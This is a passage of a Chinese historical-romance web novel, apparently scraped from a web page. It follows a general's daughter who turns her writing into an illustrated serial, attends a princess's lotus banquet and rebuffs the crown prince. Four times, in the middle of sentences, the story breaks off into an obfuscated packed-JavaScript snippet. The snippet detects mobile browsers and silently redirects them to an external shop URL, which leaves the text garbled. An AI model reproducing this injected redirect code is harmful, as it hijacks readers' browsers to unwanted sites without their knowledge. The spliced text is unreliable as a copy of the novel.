直到两月后,在某天半夜,边境线那头的蛮夷趁黑突袭,恰巧那夜萧礼在城门口当值,因措手不及,又寡不敌众,守军军心不稳,不一会便显出了颓势。 值此紧急时刻,他冷静地组织同伴,奋力抵抗,为援兵的到来争取了足够的时间,最终立下了军功,得以在姚荐辕跟前效力…… 不知不觉间,谢烜赫将最后一页看完了。 故事虽戛然而止,他却能预想到后面的情节发展,大约就是姚写意与母亲、嫂嫂合开的酒楼生意红火。 她也借着经营过程中与三教九流的人打交道,搜集到了严会之贪污腐败的足够罪证,最终配合父兄将其扳倒。 而重生为萧礼的辛君赫,他将屡获军功,节节高升,凭借着地位的提升,他找到了构陷明王的罪魁祸首,最终成功为冤死的亲人报仇,洗去他们身上的污名。 谢烜赫抬起头,目含欣赏地凝视着正在书写的少女。 他知道她非寻常闺阁女子,胸中怀有远志,对民生社稷素有关注,但他没想到竟然会在她的作品里看到自己。 黎书意虽手上在写着,可因为心里记挂着谢烜赫的想法,所以一直在一心二用,长久没听见翻页的动静,猜想着他应该是看完了,于是便抬起头来。 见少年沉默地盯着自己,她眨了眨眼,有些摸不清这是好还是不好,耐不住好奇心,便主动问道:“我写得如何?” “谢谢。” 答非所问,然而她瞬间明白了他所指的是辛君赫。 一缕不自在透上心来,她的脸不禁微微发热,遂别开眼忸怩地说道:“你不必谢我,我这是为了自己,为了家人。” 这就足够了,谢烜赫在心里说道。 接着,他回归正题,思考黎书意的提问,沉吟了片刻,他认真评价起来:“写得很好,文墨上用词通俗易懂,行文流畅干练,情节上,从国公与其子,女主与其母,以及男主三方面展开陈述,三线交织,精彩纷呈。” 心里像灌了一瓶蜜,黎书意嘴角抑制不住地上翘,写《学崖》那会,她光顾着惊慌了,未曾想到要询问意见,没想到他今次评价得如此认真,还全是夸赞之语。 想要听更多,她追问:“还有呢?” 言毕,见谢烜赫顿了一顿,目含深意地看着她道:“你不甘置身事外,想像你的父兄一样,为将军府出一份力。” 心思被直白地给指了出来,她羞赧,后来转念一想,让女主开酒楼并不算什么,他都已经看过让女主女扮男装上太学的了,于是便渐渐放开了。 “不过——” 刚说服完自己,听见这两个字她猛然睁大眼睛,突然的转折让她忘干净被人窥探内心的尴尬,急切地问:“不过怎么?” 少女水眸睁得溜圆,眼神中满是紧张与急切,谢烜赫注视着面前的人,沉静地说了下半句话:“你的书目前只能在士族阶层流传,影响的范围很有限,然而平民才是主体。” 影响范围?平民?黎书意的眼底突然亮起了一道光,这话令她醍醐灌顶,不论是宣扬观点,还是表达不满,她都需要有更大的受众。 然而,对普通老百姓来说,光劳作和生活就填满了他们的日常,他们没有金钱和时间读书,认识的字十分有限,有什么方法能够让他们同样也可以看明白她的故事呢?她拧眉苦思冥想起来。 当下,平民百姓获得故事的途径多靠口耳相传,茶馆里的说书先生起了大作用,他们口才了得,化文字为声音,把故事讲得绘声绘色。 这不失为一条途径,只是目前她写得还太少,得再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545677|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写多一点,然后方可一试。 那还有什么方法呢?她低头沉思起来。 有了!她眸光一闪,突然想到一个绝妙的办法。 见少女眉头舒展,谢烜赫知她是想到了,便问:“想到什么主意了?” 黎书意抬眼看着面前的人,嘴唇轻勾,说了“作画”两个字。 除了化文字为声音,她还可以化文字为图画,若是理解仍有困难,可以添加少许简单的文字辅助理解。 新点子令她热血沸腾,待兄长一回来,她便将这想法告知与他,最后期待地问:“你觉得如何?” “可以一试。”同往常一样,兄长表示支持。 既如此,第二日她便动手尝试。 让兰亭备好宣纸、画笔和颜料,她移步到画案前,望着空白的熟宣,她手支下颌,思考该用哪种绘画方式来呈现,它必须能表达情节,让读者毫不费力便能看懂。 在脑中权衡了一会,最终她择定了工笔画,工笔崇尚写实,求形似,相较于写意画,具有很强的描写性。 确定了类型,便该着手描绘了。 故事情节她已经烂熟于心,眼下要考虑的是画面构图,她拿起狼毫在白纸上起草,用简单的线条为第一个画面构图。 待环境与人物都确定好了,她换了画笔正式作画,因为还只是尝试阶段,所以她没有着急上色。 用了小半个时辰,第一张画终于完成了,将纸搁到一旁,她接着作第二张,当作到一半时,听见两声不轻不重的扣门声,一抬头,见兄长和谢烜赫站在门口。 “怎么样了?”兄长走进屋问。 本想着再多画几张,然后再拿给他们看的,既然人已经来了,那便现在看吧,将画案上的两副画调转了方向,再排列好顺序,她背手望着两人,等待着他们的评判。 黎长策和谢烜赫来到桌旁,两人一左一右各看起眼前的白描画。 拿起左边的画,黎长策垂眼细看,虽作在同一张纸上,但实际上是一上一下两幅画。 上面一副描绘了上朝的场景,只见一名身穿朝服的男子站在队列之外,他双手持笏板,人物旁边画了一个小圆圈,圈里写着:“陛下,臣有事启奏,臣受命负责调查明王谋反一案,查抄王府时在书房发现镇国公与其有往来的书信。” 下面一副描绘了皇帝问责的场景,只见御台之上戴十二冕旒的皇帝询问镇国公,大殿之中,一身形英武的男子跪地请罪,并解释道:“陛下明鉴,虽然微臣与明王确有书信往来,但只是拜托他为吾妻寻找一味药材。” 谢烜赫这边,依旧是一上一下两幅画,上面一副描绘了一个在小院池塘边喂鱼的少女,她仰着头,望着天上飞过的鸟儿,发出“真羡慕你们”的感叹。 下面一副,描绘了一条深巷,巷子右边是一座庄严府邸,匾额上写着“镇国府”,巷子尽头巷子有一群官差,他们来势汹汹,惊退了两旁路人。 各自看过手中的画,两人交换,待看完了,他们便将画放回到案上。 19. 争宠 见两人将画都浏览了一遍,黎书意耐不住性子发问:“如何?可看得懂?” “表达得还算清楚。”兄长道。 那就是可以了,她欣喜。 “只一点——” 她忙问:“是什么?” “画最终是要装订成册的,这尺寸过于大了些。” 瞥一眼是寻常书册四倍大的画纸,她点头,作画时光想着如何呈现内容,竟然忘了这一点。 见兄长已经发表完意见,她的视线右移,看着谢烜赫问:“你呢,有何建议?” “你画得很精细。” 她扬眉,“这样不好吗?” “既是以画表事,展现故事该是重点,像房屋构造和院中景观这些不重要的部分不必精细刻画,读者也不会特别在意,可把笔墨放在重点上。” 闻这建议颇有些道理,她点头道:“好,我接受了。” 将画布缩小,将笔墨用好,这两点实际上帮她省了不少功夫。 正想着,听兄长说:“那你再多画几张,过两天我拿给苏先生看看。” “嗯。” “现在你该用饭了。” 兄长瞅着她,大有她不动便不走的趋势,她只好乖乖听话。 用过午膳,她又钻回书房了。 等兰亭将更小的宣纸铺到桌上,她依照建议继续作画,因内容不需要大改,效率比早上要快些。 画好了,她又拿给兄长过目,这次他没再提意见,于是她便正式展开创作。 用了六天,共计十二张画,她终于把第一二回的故事画完了,重头依次审看过,她把书稿夹在其间。 接着,她拿过一张白纸,落笔写下“陈冤录”三字,这是她为这本书定的名字,既对应了故事主角为报家仇的经历,又暗含了她借书陈情的目的。 待确认没什么需要修改的,她把稿子交给兄长,兄长趁着旬日休沐时拿着稿子出去了。 整个下午,黎书意一会坐一会站,她现下的心情仿佛回到一年半前的那一天,当时兄长拿着《学崖》的书稿出门,为她寻找售买的出路。 等到将近申时,兄长方才回来,瞧着他面无表情的模样,黎书意那颗忐忑不定的心开始下沉,文字与画作相间的话本肯定比寻常话本要难售卖多了,没成功是极有可能的。 “怎么样?”谢烜赫替她问了。 “嗯……”黎长策沉吟着,良久他露出笑脸,对两人说道,“苏先生同意了。” “你骗我。”发现被欺骗,黎书意不轻不重地拍了兄长一下。 觉得像在做梦,她接着追问:“苏先生真同意了,那印刷的问题他如何看?” 虽说时下印刷术已经很成熟了,但一本二三十页的书要两文钱,并不算便宜,况且她这还是文字与图画参杂在一起,就更不便宜了。 兄长道:“我和他说我们会自己找画手临摹,他说希望把这差事交给他,他店里有不少佣书人,不止抄书,也可仿画。” 因印刷书成本昂贵,所以大多时候人们依旧选择手抄本,许多会写字的寒门子弟为了生计便成为了佣书人,只是一般抄书的多,仿画的少。 “好啊!”对此,黎书意毫无异议。这样挺好,既绝了她的担忧,也算给了那些艰苦的人们一份收入。 接着,又闻兄长补充道:“对了,苏先生说,让你半旬交稿一次,一次三回。” 以往黎书意向来是早上休息,下午写一两个时辰,之后恐怕是要忙起来了,不过现下她正斗志昂扬,于是毫不迟疑地点头了,“没问题。” 半旬二十张画,再加之文字版的故事,接下来的日子里黎书意全情投入到创作中。 不过,这些事也不全然她一个人在做,比如上色的任务,她最终移交给兄长和谢烜赫了,两人无论是鉴赏能力,还是绘画功底都不比她差,这让她轻松了不少。 因兄长平日还有功课,只能在有空时帮忙,所以这事大半由谢烜赫负责,抛开他偶尔因调查情报而消失,多数时候他都在她近旁,她画画他上色,一天里有大半天他们在书房渡过。 终于,在截止日期前,她按时按量完成了任务。 忙碌了半月,黎书意累极,兄长和谢烜赫方才一道出去了,一个替她交稿,一个忙社郡的事,她得到短暂的解放,便坐在廊下放松。 正放空自己,听见不远处传来一阵银铃般的笑声,被笑声吸引,她转头去看,见是院子里的几个侍女在结彩线,穿七孔针。 “今天是乞巧节?”回转过头,她惊问兰亭。 “可不是嘛,最近二姑娘整天与时侍卫待在书房里作画,又怎会记得。” 嗯?酸溜溜的语气令黎书意直起身,当看到兰亭气鼓鼓的模样她忍不住笑出了声,这是在指责自己亲近时野而冷落她呢! 因暂时还不能说出谢烜赫的身份,笑过之后她解释说:“谁让他略懂一点绘画呢?” “我可以学!”兰亭做出表示。 黎书意煞有介事地点头,“现在知道学习的好处了?” “一直都知道。”兰亭争辩,说完将头一偏。 黎书意继续逗她:“我挑选的那五十首诗词你如今学到哪里了?” 什么?诗词?怎的突然拷问她功课,兰亭顿口无言。 她原先的家一贫如洗,宝贝疙瘩的弟弟尚且没机会念书,何况是被视为赔钱货的她呢…… 还是入将军府后,她成了二姑娘身边的侍女,得二姑娘的鼓励和帮助,才有了识字的机会。 然而由于开智晚,平日又得做事,她只能抽空学习,因此进度很慢,尤其舒凌寒姐姐走后,便更慢了,目前才学到《乌衣巷》。 她不想如实回答,那样岂不更比不上时侍卫了吗,正想着如何作答才会不让二姑娘失望,少将军和时侍卫走入院中。 “这是刚才从门房那里拿来的。”黎长策说着把手里的帖子往妹妹手上一递。 黎书意好奇地接过帖子,打开一看,是长公主府寄来的邀请帖,说是邀请他们赏荷。 荷花她前不久才赏过,那一日玩得很尽兴,对这个赏花的邀约并不感兴趣,她一面将帖子递还给兄长,一面道:“恐怕赏花是假,为子择妻才是真。” 长公主之子谢跃云,今年十八,已经到了婚娶的年龄。 “所以你去吗?”黎长策问。 黎书意歪头耸肩道:“我能不去吗?” 这可是长公主的邀约,她还没那个胆子轻易拂她的面子,况且眼下父亲处境艰难,她必须表现良好,不给人指摘。 …… 七月十二日,长公主邀请赏荷的日子到了。 上午,黎书意照例在书房里写书,一直到午正了才停笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545678|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,待用过了午膳,又泡了壶茶在小厅闲坐了半个时辰,她才懒懒地从榻上起身,让兰亭替她梳妆。 两人移步来到镜台前,黎书意在圆凳上坐下,兰亭则立于身后开始动手替她拆发髻,边拆边感叹道:“二姑娘有些时候没参加宴会了。” 这半年,除了无法推拒的,其他的她全借故拒了,是以出去的回数屈指可数。 “二姑娘今天想要梳成什么样的?” “简单点的。” “简单点的?”兰亭不确信地重复着。 也难怪小丫头惊讶,前两年她热衷于打扮,每每出去必须从头精致到脚,发髻、首饰、衣裳、鞋子……样样精挑细选,因此常遭到谢烜赫的鄙夷。 现在嘛,她的心思大半放到创作上,再一想这场宴会的目的,她觉着还是不出风头为妙。 最终,兰亭为她绾了一个单螺髻,再往右侧斜插上一根白玉孔雀簪便算完了。 发髻梳好,她自己从柜子里挑了身碧青色衣裳换上,站在镜子前一照,整个人看起来清逸淡雅,宛若七月池塘里滴着露的荷叶。 此时,时辰已经差不多了,最后理了理头发衣裳,她出门了。 行至外面,发现谢烜赫抱剑立在廊下,见她来了,走上前一步道:“马车已备好了。” “你要跟着去?”黎书意闻言诧异地问。 “作为二姑娘的贴身侍卫,自然是二姑娘去哪卑职便去哪。” 谢烜赫一副不置可否的模样,他如今的身份是她的侍卫,这话说得合情合理,然而她听着却怪别扭的。 旁边,兰亭听后轻轻撇嘴。 黎书意并未瞧见这一个小动作,她的注意力全在谢烜赫身上,此行她就没打算让他陪着,毕竟邀请参宴的都是孟章城里的贵族男女,其中多数与他认识,她恐他被认出。 “你真要去?”她又问了一遍。 谢烜赫点头。 见他坚持,黎书意考虑起来,她从上至下打量起他的穿着。 今天他换了另一身靛蓝色侍卫武袍,头上的辫子加上了与衣服颜色一样的带子,耳朵上还戴着羽毛圆环耳饰,这身行头放大了异族特征,但是又不显得突兀,几乎看不出谢烜赫的影子,这令她心里有些松动。 接着她再一深想,谢烜赫与他们是同龄人,然而在他们寻欢作乐时,他却因背负血海深仇受侍卫身份的限制,不得半点娱乐,实在有点可怜。 于是乎,那最后一点顾忌也被打消了,她一心软便点头同意了。 宴会地点在千芳园,它坐落于孟章西郊,因那里秀峰连绵,流溪遍地,故达官贵人喜在那里建宅,是个园林荟萃的宝地。 花了一个时辰终于赶到,向门口守卫递上帖子验了真伪,然后车夫赶着车驾去马厩停车,黎书意也领着谢烜赫和兰亭往里行。 这千芳园是先帝为爱女所造,特意选在了水泽之地,傍水建了廊、轩、亭、阁,内里布置开朗、疏密得当,一步一景。 走了半刻钟,主仆三人终于行至今日的赏荷之地,只见一条长河竖分两地,河面上横架着数座造型各异的小桥,河中绿叶相倚,彩荷亭立,有红莲、白莲和并蒂莲等。 因是大宴,守卫极森严,不允许仆从上桥去另一边,于是谢烜赫和兰亭便被留下了,转身略交代了他们两句话,黎书意独自上了最大的那座白玉桥。 20. 搭讪 走在桥上,黎书意极目远望,见对面亭子、花园等地早聚集起一堆红男绿女。 “书意妹妹。” 桥路走至一半,听见有人喊她,回身一看,走来的乃是安国公的长子江未,他比兄长大一岁,是除了谢烜赫和谢煜然以外,与兄长最要好的人。 “见过世子。”黎书意还以问候,然后两人并肩而行。 到了桥头,江未朝她点头,接着便向熟识们走去。 黎书意没有闲谈的心思,所以懒得上前去搭话,扫了一整圈,没发现林静仪的身影,便想着找个僻静角落先独个待着。 步子才刚迈开,被一道温润的声音给叫住:“黎二姑娘。” 看了眼两步开外长眸高鼻的清瘦男子,黎书意礼貌地叫道:“梁大公子。” 这人名唤梁祖庭,是丞相梁甫的嫡子,他外形清俊,能力突出,举止儒雅,与谢煜然、谢烜赫、还有她兄长被并称为孟章四杰。 老实说,从认识梁祖庭开始,他一直都表现得谦和有礼,对她从未逾矩过半分,然而她却不怎么待见他,大约因为父亲和丞相政见不合。 “婠婠。” 忽又听人叫她,听声音便知是林静仪来了,她不由眉欢眼笑,侧头望着来人。 “见过林大姑娘。” “见过梁大公子。” 梁祖庭与林静仪互相问好。 “那你们聊。”梁祖庭微一颔首,说完,很有君子风度地离开了。 看他走出几步,林静仪收回视线望着好友道:“上回往府上递帖子,让你来家里作客,你说在忙。” 想起是有这么回事,黎书意不好意思道:“抱歉,最近在忙私事。” “你现在有秘密瞒我了。”林静仪故作不满,但并没有多问什么。 黎书意感激她的贴心,自己也不想隐瞒的,只这事根本不能说。 两人正聊着,一道娇媚的声音横插进来:“哟,这不是我们的孟章双姝嘛。” 她绾着复杂的发髻,头上戴着嵌宝金钗,身上穿一件桃色锦衣,华丽的装扮将姣好的容颜衬托得愈发光艳逼人,这人不是唐婉娇又是谁。 唐婉娇的目光先放在她身上,然后慢慢划到林静仪了身上,最后道:“前些日子听闻你刚与昌顺伯世子退婚了,我还以为你今日不会来了呢。” 虽知唐婉娇喜欢寻她们的不痛快,但她平日说的都是些不痛不痒的话,今次这话属实过分了些,林静仪与那赵承勋退婚的缘由孟章无人不知无人不晓,实没什么可指摘的地方,看一眼咬着唇在忍耐的林静仪,她打算还击回去。 这时,瞥见一红一紫两道身影徐徐靠近,见是荣昌大公主和平王之女崇宁郡主来了,她只得把到嘴边的话咽下去。 没两步,两人已经走到她们面前。 三人待要问好,被公主摆手阻拦了,接着她直朝黎书意看来,黎书意有些闹不明白这突然的和善是何意,她们并不亲近,也就在宴会上碰着了会说两句话而已。 “诶?”只见她头往左边一摆,下巴微微仰起,用眼神示意自己往对面看,并问道,“那戴面具的是你的侍卫?” 顺着她的视线,黎书意看到了站在松树前面的谢烜赫,他长身玉立,精神耿耿,尽管衣袍普通,但在人群里很突出。 正看着,像感受到她的注视一样,对面的人猝不及防瞧过来,她慌神,急忙别开目光,收回视线时发现公主正望着她,显然在等她的回答。 她暗道不好,本打算否认,可谢烜赫已经在她身边待了一个多月,一查便可知,且今日过来的一路许多人都看见了,最后便只能点头。 “把他让给我,如何?”果不其然,下一刻公主便开口要人了。 景帝膝下子嗣单薄,一共有四个孩子,分别是颖妃所出大公主谢清歌,皇后所出大皇子谢煜然,荣贵妃所出三皇子谢煜恭,以及舒妃所出四皇子谢煜睿。 作为嫡长女,大公主受尽宠爱,个性难免飞扬跋扈,不仅如此,她还极好男色,府内面首无数。 黎书意的前侍卫展元也曾被看上过,在知道他已有妻儿时,还摇头道了一声可惜。 让?她绝不可能把谢烜赫让出去,别说这两人可是堂姐弟的关系,况且谢烜赫如今这处境,是万不能暴露身份的,不过公主要人她也阻拦不住。 瞟了眼似在欣赏宝石美玉般的大公主,黎书意脑子飞快运转,后想起她贪图美色,便抿唇笑道:“公主,我这侍卫虽身材看着不错,但相貌十分丑陋,并不配伺候您。” “真的?”公主盯着她的眼睛,显然以为这是诓她的。 “真的。”黎书意郑重点头,随即解释道,“他小时候经历了一场大火,脸大半被烧毁了,所以才戴面具,若是不信,您可亲自查证。” 经过这一番话,大公主果然兴趣顿失,临了她又瞧了对岸的谢烜赫一眼,露出惋惜的神色,摇了摇头,与郡主往长公主那边去了。 见危机解除,黎书意心下松了口气,这时忽闻唐婉娇插话道:“留个丑人在身边你也不嫌隔应。” 别说谢烜赫与丑丝毫不沾边,即便她身边真留一个貌丑侍卫又与她唐婉娇有何干,想起她刚才讽刺林静仪的话,黎书意便回击道:“我隔应不隔应,不劳你费心,别人的事少管。” 大约觉得斗得无趣,唐婉娇轻哼了一声,便也离开了。 等她走了,黎书意拉起林静仪的手,轻声安慰:“她就是嘴欠,你别把她的话放在心上。” “嗯,我知道。”林静仪点头。 正说着,远处传来一阵谈笑声,抬眼一看,见一群华服子弟从桥上走来,这其中包括她的兄长,他们都在弘学馆上学,如今下学便一起来了。 不多时,兄长来到她们身前。 “黎大哥好。”林静仪柔声唤道。 兄长也回:“静仪妹妹。” 厌倦了他们这副作态,为了给这二位制造机会,黎书意又借口离开了。 今日本就无兴致玩乐,现下连个说话的对象都没有了,她想着不如去找谢烜赫和兰亭他们,哪知路才走了一半便被拦住了。 “书意妹妹。” 瞅了眼面前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545679|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,黎书意心生抗拒,想避开到底没有,毕竟还在人屋檐下呢,便问候道:“见过德安候世子。” “怎的一个人?” “哦,我就是想一个人吹吹风。” “不介意同我说会话吗?” 当然介意,黎书意在心里回说,她可不想和这纨绔扯上关系,听说他家里已经养着两个美妾了。 再者,黎书意看一眼不远处同唐婉娇说话的长公主,想自己一定不在她儿媳的备选里。 正打算借口不舒服离开,一声“婠婠”让她和谢跃云不约而同循着声源望过去。 谢跃云看着阔步而来的表兄,见他表情晦暗不明,心虚地瞥了一眼身旁出落得亭亭玉立的少女,遁意升起,匆忙道:“看来你有事,那我走了”。 身边的人如刮过的旋风,一下子便跑没影了,黎书意毫不在意,她看着款步前行的华贵少年,眉头不自觉皱起,这刚走了一个麻烦,又来一个麻烦,她竟不知哪个麻烦更大点。 未几,谢煜然已到了近前,开口邀请她:“一起走走?” 明明上次她说得够清楚了,如今面前这人却仿若什么都没发生一样,不欲纠缠,故意道:“太子殿下就要大婚了,竟还有闲情逸致来此游园?” “婠婠,别气我。” 少年语气极温柔,像极了从前被她惹恼时对她无力的斥责,可是如今的状况与那些时候不一样。 “看来太子殿下对黎书意还旧情难忘。” “旧情难忘又如何,还不是要另娶她人?” “你们说这黎书意最后会不会答应做太子侧妃啊?” …… 远处的议论随风飘进耳朵,黎书意抬眸扫了一眼,发现众人都在朝他们这边看来,不想让场面变得太难看,丢下一句“去别处说”,然后她径直朝前走去。 长河左岸,谢烜赫隔着荷叶望向对面,他的目光始终追随着身穿青衣的少女,从她独自一人上桥,到现在不过才一刻钟,就已经有四个上前同她搭话的世家子弟了。 从前便是这样,在那些宴上,她一出现便被人群包围着,女的夸赞她打扮得漂亮,继而问她胭脂水粉用的是哪家的,衣裳首饰又是在哪里买的? 男的虽不会这般大胆,但也会刻意接近,他们要么借着谈诗论赋的由头上前搭话,要么借着与黎长策同行,然后醉翁之意不在酒,闲聊间斜眼偷看她。 但是,他们之中没有一人敢向她表倾慕之意,这一切皆因为一个人,谢煜然。 可如今,太子妃的人选已经定下,并非黎书意,那些从前对她抱有想法的世家子弟再没了顾忌,便一窝蜂涌了上来。 然而,这个过程很短暂,谢烜赫远远望着逐渐远离人群的一男一女,忽然有些摸不清此刻该是什么心情了。 这时,闻一串脚步声接近,他斜眼看过去,见是黎长策来了,此刻他的目光也在拐角处的那两人身上。 “你打算怎么办?”谢烜赫问。 黎长策瞥了一眼好友,神色淡定地说道:“不怎么办,这是她的事,合该她自己处理。” 21. 睡颜 沿着长廊向西行,走至尾端的攒尖亭前,见周边无人了,黎书意停下脚步,接着她转过身,带了两分脾气对跟随而来的人说道:“太子殿下,我以为上回我说得够清楚的了。” “婠婠,我没办法放弃你。” 黎书意与注视自己的黑眸对视,见谢煜然的目光里写着痛苦与乞求,她无半分动容,只漠然道:“你已经放弃了。” 又是这样拒绝的姿态,面对少女的坚决,谢煜然深感无力,而后变成了怨怼,怎么就不能体谅一下他呢? 她要的他会给,但不是现在,凭什么因为娶太子妃就被宣判死刑了,他都承诺了不会碰那人。 想着想着,他心里升腾起一股怒火,温和的表情已然皲裂,怒而质问道:“难道你要狠心放下我们两年多的感情?” 黎书意在心底冷笑,就是因为这两年多的感情,她才徘徊了这许久,可是他们只有这一个结局,“我们都无法坚定地选择彼此,这样结束是最好的结果。” “我不可能看着你和其他人在一起。”谢煜然望着她,眼睛里带着偏执。 见她不语,又口气傲然地追加一句:“再说,放眼整个西景,有谁敢与我抗衡,婠婠我不想逼你。” 从他忽然现身,并故意在众人面前同她说话,她便知他是想借机警告那些想亲近她的人,要他们别对她动心思。 对此,她并不在意,左右她没有想成婚的打算,只是,她看着面前的少年,为他的执着感到深深的无力。 他身为太子,未来的皇帝,确实没人能与之抗衡,如果真的到了那个地步,大不了就永远不成婚了。 谈话陷入僵局,四下唯有清风吹过树叶的沙沙声。 静默良久,谢煜然声音暗哑地开口:“我会给你时间考虑,你慢慢想。” 说毕,不等少女回应便走了。 看着离开的背影,黎书意轻叹了一口气,然后转身往回走。 经过这一遭,她本没多少的兴致就更淡薄了,于是便直往石桥而去。 走到明处,发现众人都在看她,她若无其事地走上石桥,一面走一面找寻着谢烜赫的身影,只见松树前面立着两个人,兄长不知何时与他站在了一处。 下了桥,她朝两人走去,刚走到跟前,见兄长担忧地望着她,欲言又止道:“小妹,兄长一直没问你,你与谢煜然……” 刚发生了那样的事,她猜到兄长一定会问,当下便如实告知一切:“兄长,想必你也知道,他不日便要成婚了,我已经和他都说清楚了,我们现在没任何关系。” 虽这般肯定地回话,可是她心下到底缺少底气,照谢煜然目前这状态,恐怕还有得纠缠。 “可他似乎不这样想。”正想着,一道冷冽的声音将她的担忧道出。 闻言,她抬眸望向说话的谢烜赫,加上谢煜然前不久上府的那回,目前他已经撞见了两回,得出这个结论很正常。 “那我能怎么办?”她凝眉反问,她话都说尽了。 “我如何知道?”谢烜赫冷冷回一句。 听这话的语气有点冲,黎书意不禁皱眉,她纳闷地看向面前的人,见他面无表情眼神无温,她越发疑惑了,不明白自己这是哪里招惹到他了。 后来她突然灵光一闪,他一向看不惯她在宴会上出风头,可今日她明明什么都没做,本来就有些烦躁,又被唤起了不好的回忆,她懒得再搭理他,转头询问兄长:“要走吗?” “嗯。”黎长策点头。 然后,兄妹俩向掌园的管事说了几句客套话,便离开了。 …… 因是与苏先生定了契约的,黎书意在创作上不能像以往那般随心所欲,所以赏花宴回来后她便又投入到创作中了。 通常她上午作画下午写故事,日子过得充实而快乐。 这日天热,午间她不愿待在书房里,便让兰亭把笔墨纸砚悉数搬到凉棚,然后便坐在那里写。 盛夏的微风裹挟着花的清香轻抚脸颊,耳边不时传来几声清脆的鸟啼,她身心倍感舒适,思绪如泉涌,落笔似有神助。 等手写酸了,停下来问兰亭,才知已经过了一个多时辰,于是她搁下笔墨,用镇纸将纸张压住,身体向后靠去,慵懒地卧在藤椅里,阖上眼睛闭目养神了。 没成想这一闭眼,竟然彻底睡过去了。 兰亭坐在凉棚左边,二姑娘读书写字时喜静,那日被提点了,所以现下她也在看书。 看了许久,她的注意力此刻已经集中不起来,便侧头往旁边看去,发现她家二姑娘呼吸均匀,显然是睡过去了。 从半月前开始,二姑娘就格外忙碌,扫了眼桌上的书稿,她最终选择不叫醒二姑娘,想着让她好好睡一个午觉。 主意刚打定,一串富有节奏的脚步声徐徐接近,来的是时侍卫,之前不需要他时,他天天在二姑娘跟前晃悠,近来却时常无故缺席。 兰亭正准备打招呼,却听见时侍卫先开了口,他压低声音问她:“她怎么在这睡着了?” “二姑娘嫌书房里热便来凉棚写了。” “这样睡恐感染风寒,你去拿床凉被来。” “是。”兰亭本也是这般打算的,她当即点头,然后便转身走了。 可行到半途,她觉出一丝不对劲来,他是贴身侍卫,她是贴身侍女,虽同服侍于二姑娘,但并不存在上下级关系,断无他命令她的道理,可她怎么就按他的要求行事了呢。 许是时侍卫命令得太过自然了,她完全没有意识到要反抗,想到这她转头,不满地看着站在藤椅边的高大男人。 她很想折回去,然后指使他去找凉被,后来终是压制住了,遂回过头继续朝前走。 到了卧房,兰亭从柜子里找出凉被,然后抱着东西原路返回。 待走到凉棚底下,她准备替二姑娘盖被子,下一刻手上的凉被却被夺走了,她眼睁睁地看着时侍卫动作轻柔地替她家二姑娘盖好凉被。 见他细心呵护的模样,兰亭心里头堵得慌,上次她都说得够直白的了,这家伙怎么还未放弃。 她打算将话说得再重些,正欲把他叫到远处说话,口都未来得及张开,就听见人说:“你去忙其他的吧,我在这儿守着。” 什么?!兰亭愣住,她很想与这没主仆规矩的侍卫好生理论一番,可仰头看着那银色的面具,和那一双墨玉般的眼睛,所有话都哽在了喉头,她很没骨气地听话离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545680|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的武功她是见识过的,她不敢与之作对。 待走远了,她不再隐藏情绪,满腔气愤便体现在加重加快的步伐上,等到了自己房屋跟前,她顿足,心想她不敢从时野这里下手,那便从二姑娘身上下手。 虽说这人才来府中没多久,但她看得出二姑娘十分信任亲近他,尽管清楚二姑娘不可能喜欢他,但还是预防着点好,她得让二姑娘知道他的真面目。 暑气熏蒸,夏风和暖,午后的庭院静悄悄的,人好像都躲去纳凉了。 谢烜赫站在桌旁,他垂眸凝视着慵懒卧在藤椅里的黎书意,少女睡颜沉静,呼吸轻柔,睡态状若神人。 没有第三者在场,不必担心少女会抵触,他便放肆大胆地看,那纤密微翘的睫毛,挺如玉峰的秀鼻,白嫩透亮的面庞,还有那天生微翘的红唇…… 直到某一时刻,少女的眼皮忽然动了动,似乎有要苏醒的迹象,他才不动声色地别转开视线。 